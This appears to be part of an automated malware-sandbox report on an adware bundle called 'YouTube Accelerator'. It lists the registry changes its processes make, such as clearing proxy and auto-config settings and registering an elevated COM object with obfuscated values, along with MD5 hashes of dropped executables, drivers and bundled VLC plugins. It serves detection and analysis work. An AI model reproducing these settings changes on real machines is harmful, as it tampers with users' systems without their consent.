[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"resver" = "1.0.0.8"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "30 F5 78 56 3F 17 1F CD 22 18 2A 64 22 18 AF B6"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPID" = "0bab2a10-0a3c-4ff7-bea3-06b298294831"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZe~"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"
"TimeStamp" = "1429342552"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "LVUj]R_d|LiVOfCx`Sk@Cs_rDJCj"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAID" = "e69ff47f-8242-4caa-8a5f-5c30eea4cf27"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "YeDTB~|CwP"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"Uojvoqeov"
"qvorsEtjxw"
"qvbbRNdMg"
"cgcdxuSksc"
"LdsE"
"fSXewhkfv"
"yxQHXfdfitoe"
"pxylOXnGwpXkz"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"jugyvwoEcjGw"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"rffapxdttSchh"
"yEsrDTepOCs"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"hFLwn"
"DxOl"
"FdUXjkIpvn"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"qPacydvhduuR"
"MNEMOyZJWG"
"omdjT"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"uqmpybcjdI"
"pseKcc"

The process YouTubeAcceleratorService.exe:2512 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "04 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 04 A4 44 A3"
"{K7C0DB872A3F777C0}" = "FE 5E C6 DF 3F 17 1F CD 22 18 2A 64 22 18 AF B6"

The process YouTubeAcceleratorService.exe:2728 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"AppID" = "{1BA783C1-2A30-4ad3-B928-A9A46C604C28}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "01 00 00 00"
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 04 A4 44 A3"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"ThreadingModel" = "Apartment"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "84 63 E8 0C 3F 17 1F CD 22 18 2A 64 22 18 AF B6"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Elevation]
"Enabled" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"(Default)" = "Create New Link"
"LocalizedString" = "@%SystemRoot%\system32\appwiz.cpl,-13056"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"(Default)" = "%SystemRoot%\SysWow64\appwiz.cpl"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"0"

The process taskeng.exe:3764 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{A202A416-1C50-4A99-8D9D-2827AE3DB987}]
"data" = "4D 45 4F 57 01 00 00 00 E4 B7 BD 92 8B F2 A0 46"

The process ytaiesmt_smtyc_setup.exe:2464 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Dropped PE files

MD5	File path
447013bc6abd3a3f663a1fe7cdebd114	c:\Program Files (x86)\App Lid\01783b5d-40d7-41d4-9ba0-a7e585dc1505-4.exe
4eea1048ef95c49a2fe5e7e32122a7b4	c:\Program Files (x86)\App Lid\01783b5d-40d7-41d4-9ba0-a7e585dc1505-5.exe
afb246326bbe7f10270ec63997088ae0	c:\Program Files (x86)\App Lid\Uninstall.exe
8ac380009e5b490b9bc5db1ccb916d3a	c:\Program Files (x86)\App Lid\utils.exe
6ef9bd416104b568d0db31fe528250c5	c:\Program Files (x86)\SensePlus\Uninstall.exe
a58a443e71e1e9b01cecb400b50316ec	c:\Program Files (x86)\SensePlus\b3a3cbdd-4265-4bdd-8d26-125cd5dfc9e3-4.exe
59b14a4de14d7b73400ef326832c2f88	c:\Program Files (x86)\SensePlus\b3a3cbdd-4265-4bdd-8d26-125cd5dfc9e3-5.exe
b8046329007c11d8e167660c0aedee71	c:\Program Files (x86)\SensePlus\utils.exe
52966dce95543e6c352fcb58a96e345a	c:\Program Files (x86)\ShopperPro\JSDriver\1.42.0.1766\jsdrv.exe
01f2e778931f2b1a27d099f593d37c14	c:\Program Files (x86)\ShopperPro\JSDriver\1.42.0.1766\jsdrv.sys
52966dce95543e6c352fcb58a96e345a	c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.exe
01f2e778931f2b1a27d099f593d37c14	c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.sys
ae16830ee262db8142dcf54832529281	c:\Program Files (x86)\ShopperPro\SPRemove.exe
694a08f19396a6654409971d7e9edd6f	c:\Program Files (x86)\ShopperPro\ShopperPro.dll
6e880bdeda3d61f8dc9d3269969a9c3a	c:\Program Files (x86)\ShopperPro\ShopperPro.exe
72e5be95d3df6b352c958588ed895c7d	c:\Program Files (x86)\ShopperPro\ShopperPro64.dll
166d14a2666b82836fb1ef90863fe37b	c:\Program Files (x86)\ShopperPro\Updater.exe
830893de5e97e8d9e7f9d9e34690a5b4	c:\Program Files (x86)\VideoLAN\VLC\axvlc.dll
e97b77301f58e4703ea7eda8e35272fd	c:\Program Files (x86)\VideoLAN\VLC\libvlc.dll
17089f168c3d34e1e37f2f8fb23a37f7	c:\Program Files (x86)\VideoLAN\VLC\libvlccore.dll
d40b9183c149ce2cbbe93ac1a275bda9	c:\Program Files (x86)\VideoLAN\VLC\npvlc.dll
ba6461b2b83ec39f2513532714a64dd4	c:\Program Files (x86)\VideoLAN\VLC\plugins\3dnow\libmemcpy3dn_plugin.dll
5028834580ca59b91dc2ea3e03f9a3fd	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_attachment_plugin.dll
e002e92a233b96bcdeb936c735c5bda9	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_bd_plugin.dll
583711b7637f7a7a7589988f29210bf2	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_ftp_plugin.dll
219f8647870974c96fe1bfe54923fa50	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_http_plugin.dll
31a55fb8cff5a4507dc36a9d73dd100f	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_imem_plugin.dll
c213374a1baeafbf4a5a0a7a91ea182b	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_mms_plugin.dll
0bfe0a7889129c276490b68eb10378fc	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_rar_plugin.dll
8c7ffdaec9ebbd8e74de779bec9ce70d	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_realrtsp_plugin.dll
07df835a066d251f32dee975f2705271	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_smb_plugin.dll
f9c7199cb3d72a66b8ed9e740d27221e	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_tcp_plugin.dll
8502e941b5bb11cdfdbfbbaba4e291d4	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_udp_plugin.dll
fccbe5d3a3b9a7160231be1cf20b7e1f	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libaccess_vdr_plugin.dll
94fa4a660609be72537187492ffe6aec	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libcdda_plugin.dll
5d1b13744dd42d37d2a311b4312fa74b	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libdshow_plugin.dll
11cb7ffc2723b2bc9911010238bbb48f	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libdtv_plugin.dll
b72d5cac21eed3aaf34329cc5721300f	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libdvdnav_plugin.dll
1e55feb60cb6524683cc12fb62736373	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libdvdread_plugin.dll
40f9825e33b603f2e70ac9a457fd909b	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libfilesystem_plugin.dll
96313c5594359f104a5b78c62ba41eba	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libidummy_plugin.dll
2584086e407247e8391e54d4b1c534ea	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\liblibbluray_plugin.dll
58fbaaeb0391f8b50e6c3cbd84fd63ab	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\librtp_plugin.dll
726e4d0f2f386a998889266ba3bc5e6e	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libscreen_plugin.dll
06b74192c599b40e2dd7c21a2513d19c	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libsdp_plugin.dll
9f7f050f84d1b3b7a1002f98007786e6	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libstream_filter_rar_plugin.dll
8603103acaf3a3d2082fcdc1b969171a	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libvcd_plugin.dll
522808e3af029f99502b568fd1b7c406	c:\Program Files (x86)\VideoLAN\VLC\plugins\access\libzip_plugin.dll
67eff2f393906a654eecfab66264cd7f	c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_dummy_plugin.dll
d36027f83cd299d21970c8bfc3f71701	c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_file_plugin.dll
79b3a9f270f51283a13b0643626a2fae	c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_http_plugin.dll
060df22707bc7603541349fb4435059f	c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_livehttp_plugin.dll
707a8522b8802dccb16e5597434b9f3c	c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_shout_plugin.dll
d2b345b1194f5f820b371a444d9284d2	c:\Program Files (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_udp_plugin.dll
c630159aed6640b5a65059925fd91c7c	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tofloat32_plugin.dll
bd9aad682090d8780fbb058392e328a2	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tospdif_plugin.dll
b1f0610f5929d358d6417ed7dde74373	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libaudio_format_plugin.dll
e5c856409bc4788fdd70c3d08afede58	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libaudiobargraph_a_plugin.dll
27491de02b17ce28217c2b8a263b0463	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libchorus_flanger_plugin.dll
4ae9395dc37708219d522704520e0f52	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libcompressor_plugin.dll
583b627d0c1e174bc1de0a31c06afe44	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libconverter_fixed_plugin.dll
9b6b80242baeece70c7eb1185016bc29	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libdolby_surround_decoder_plugin.dll
8b5540f103a04dcaaf2aa6f2057e55a7	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstofloat32_plugin.dll
096d71dada2a04e0623fd64773c3a090	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstospdif_plugin.dll
e971d30d509d51dd1e0982f32dab3ca0	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libequalizer_plugin.dll
a253eef201dbf72858d89f77f907f392	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libheadphone_channel_mixer_plugin.dll
552ef0fab39b607b375bbc2b2ed7b36b	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libkaraoke_plugin.dll
3759f9175db721c36ee4d80b55af43df	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libmono_plugin.dll
6dd397abf88206bbe8aa8cc83cffc4c1	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libmpgatofixed32_plugin.dll
f6a07f120b583b5293aa9cdf707b26b1	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libnormvol_plugin.dll
d845de677db1dcd2e3860de567517fe2	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libparam_eq_plugin.dll
f659dd85cce251ec5e38f248dac23a10	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libsamplerate_plugin.dll
8559050bde868f8fa2260eb3b2394dd7	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libscaletempo_plugin.dll
559f26fca17bf80ca540f25635463a08	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libsimple_channel_mixer_plugin.dll
99533bbeb0a46396a464ef4fbd8dd764	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libspatializer_plugin.dll
6aed671e41e04f7763b9f9b3664c4724	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libspeex_resampler_plugin.dll
d444a770dda441331f2edb7b9ea5c855	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libtrivial_channel_mixer_plugin.dll
ba5e7c7e9ba7ff134e65e0b39204f4cf	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_filter\libugly_resampler_plugin.dll
7b0bf9929ba68cbf78b03b4ff29636bb	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_mixer\libfixed32_mixer_plugin.dll
725998c835d44322c02636ecf27b9f64	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_mixer\libfloat32_mixer_plugin.dll
1652a6a38503a24a686786c64268be87	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libadummy_plugin.dll
de639e82b42cee515ac72bd63e69c5c3	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libamem_plugin.dll
f87701e6ccf91e414472886cba165f1d	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libaout_directx_plugin.dll
0bd0bbc36231fee00236bc89f5021369	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libaout_file_plugin.dll
182f5ae6bbe6c74fa6b72b575a325c34	c:\Program Files (x86)\VideoLAN\VLC\plugins\audio_output\libwaveout_plugin.dll
4c0025551e228f56b04654f22d307133	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\liba52_plugin.dll
14dd702f5478769ef6c62949df0b5033	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libadpcm_plugin.dll
686f9f823d288ad4033d831374dfe71a	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libaes3_plugin.dll
06a849c1ad903e9c7705a85b6ace4eea	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libaraw_plugin.dll
04d062dca8994099fcfeb2390607b8ba	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libavcodec_plugin.dll
3eba0be4aee419e3f8ae1e192f97df67	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libcc_plugin.dll
d31be2f1cab7521581883a9c51005f54	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libcdg_plugin.dll
15353ba8771f791ea833aa3762b31ee4	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libcrystalhd_plugin.dll
4d71d47f0e383dcf4456adedeb53fcbf	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libcvdsub_plugin.dll
f2d8c61ddb82530930e83161eff55e6b	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libddummy_plugin.dll
4d98fbdec4e82dd3cb5eb5f551afa6f5	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libdmo_plugin.dll
06d6734484b7ef6a5fca901f9a6c7e27	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libdts_plugin.dll
c6a2af71d9052f53fb7310cf32a43d9b	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libdvbsub_plugin.dll
4384b6963a87ee1afc1186674b687731	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libedummy_plugin.dll
cad89a1014d8a0e6b4daf2aecc04de67	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libfaad_plugin.dll
3b19ec08845a0964a71357a15ede9ab0	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libflac_plugin.dll
b6fad3c56b8e5c286d612762671dd410	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libfluidsynth_plugin.dll
ed0568ffddcd36b266b2822edd9ead17	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libkate_plugin.dll
7a3c06a26deb449a663405340451aa47	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\liblibass_plugin.dll
17067548a538c58003a76f7b0446619b	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\liblibmpeg2_plugin.dll
27ccb89b5942213749f21332446ae0db	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\liblpcm_plugin.dll
ce3a82168bad4e64e796fcce84c0ade6	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libmpeg_audio_plugin.dll
0bb9a87685debbd1134a16b8bf09a7f3	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libopus_plugin.dll
8b0431c01dac216b133aa3402c9b875f	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libpng_plugin.dll
b077e3321de1830d6a50d402d7688ed2	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libquicktime_plugin.dll
0f172804e1b51c2659b7404892577036	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\librawvideo_plugin.dll
2206a3eb8cf9e287aab6d2499a9c1140	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libschroedinger_plugin.dll
425db2cfca8f04a8b3cb451192aa9ddf	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libspeex_plugin.dll
165f4743950c95f84a84d4e09ac9f3f0	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libspudec_plugin.dll
71ef196879df9fdf5df567ec7bf45762	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libstl_plugin.dll
f9b70eecf12a4aa95e6ac5cc69610f90	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libsubsdec_plugin.dll
d2d57ecf7f00e6e821a2f5106e10d436	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libsubsusf_plugin.dll
a7c0956c30923ac3b10906d325300487	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libsvcdsub_plugin.dll
0a6bedd44c2afda52ad26607a5091fff	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libt140_plugin.dll
a4daed74a2829a35ae16018c858f67e8	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libtheora_plugin.dll
d886cf3d5f3f75742bec92f86c17290d	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libtwolame_plugin.dll
b295bc4e3531c69819e175ed0497e419	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libvorbis_plugin.dll
c87da38a9cccc52d0ff4019137c34a0a	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libx264_plugin.dll
9f2a798bac1de2c53ffe3a1251e48a0e	c:\Program Files (x86)\VideoLAN\VLC\plugins\codec\libzvbi_plugin.dll
b0ebe19fc53f21037a4e696029384775	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libdummy_plugin.dll
86a455799a1d97db80015b57640387ff	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libgestures_plugin.dll
d42e6b79db0ed24e132ed007852dc667	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libglobalhotkeys_plugin.dll
cfbf7c036938e56383cc351cd4ebce88	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libhotkeys_plugin.dll
0aa4145bc4fa70d3344f68321d26d6b1	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libnetsync_plugin.dll
9e269f2af4f8af97a1bb49bbaa82a6c6	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\libntservice_plugin.dll
427c55bfb0c8c192b22d9d7a2aefeff0	c:\Program Files (x86)\VideoLAN\VLC\plugins\control\liboldrc_plugin.dll
3134a4e715832c4fc834eddd5901862b	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libaiff_plugin.dll
da1afff23b9326498534300f454d264c	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libasf_plugin.dll
5f2506ca68b16bb2bb44b5933ff5d7a1	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libau_plugin.dll
b58a0fe5babe45e38fcaace8a31c1a89	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libavi_plugin.dll
967ea0b37c53361fe257599b48417072	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_cdg_plugin.dll
2302ed155ac1113063cb414dd9efcc78	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemux_stl_plugin.dll
fa161ddb11d8cdeeae9c297dcafc46ac	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdemuxdump_plugin.dll
cc590b6340c957ded5132c0bc83d47bb	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libdirac_plugin.dll
33e409187f08a4bb9f1d0bbddc7de463	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libes_plugin.dll
0f1b84e864b478a10280a7ff23c99095	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libflacsys_plugin.dll
f96d6e2f845a7e0f9008417cb3e607d3	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libgme_plugin.dll
e1072795316b0c9a3e05d3d9fca811e9	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libh264_plugin.dll
b43af5e27a08ffa5997cf8fda6f079e6	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libimage_plugin.dll
e2acead8da8d2542b1cda70a68ca148d	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\liblive555_plugin.dll
092ae1ac257de171fc94ca88f7a08951	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmjpeg_plugin.dll
f06a8b154d9167db0e54d83a480bf971	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmkv_plugin.dll
b72516744a7393f5b5f273e46f9464c3	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmod_plugin.dll
56ff8872f57995b6722b63838eb51312	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll
1bddafdd963572f8e77cfac740385680	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmpc_plugin.dll
f3122d3e8468d9ad149d47eb175196fd	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libmpgv_plugin.dll
83b6a652301c97083897fddcc3826dbd	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libnsc_plugin.dll
5f4b82b5471f083d7a3e2028fd3a6c54	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libnsv_plugin.dll
23f0360e0ccee2364485f5cc922fabd1	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libnuv_plugin.dll
cd2f995ac7ca44ec43a7bff17143304f	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libogg_plugin.dll
6928839863206b8a47626a3e0d229902	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libplaylist_plugin.dll
8658006d21a98b06ca27ad1b9f4234e1	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libps_plugin.dll
262ef35db64bc175240c16807673caa7	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libpva_plugin.dll
6340c17f196dbbeddf4d1c8578b1ce7c	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\librawaud_plugin.dll
495bfa11a1bad90b1a6ff163fb7baf00	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\librawdv_plugin.dll
2ec9c1944cd2b5f4dae09760c1943a9b	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\librawvid_plugin.dll
53a18dac85ac2912ba2057fcf46010c3	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libreal_plugin.dll
1ffdd341f60493411818dfeafe30ca47	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsid_plugin.dll
b33c5c3a84e23968889df801ab75f6b0	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsmf_plugin.dll
c6e7cd403de4ef0724c562c3de26b099	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll
8987c4435716d230930af1f8461855da	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libts_plugin.dll
80c4fcf9a1875e1d6e363c9858bbbc7f	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libtta_plugin.dll
579519275cbb9dcc4180d87f6d421037	c:\Program Files (x86)\VideoLAN\VLC\plugins\demux\libty_plugin.dll
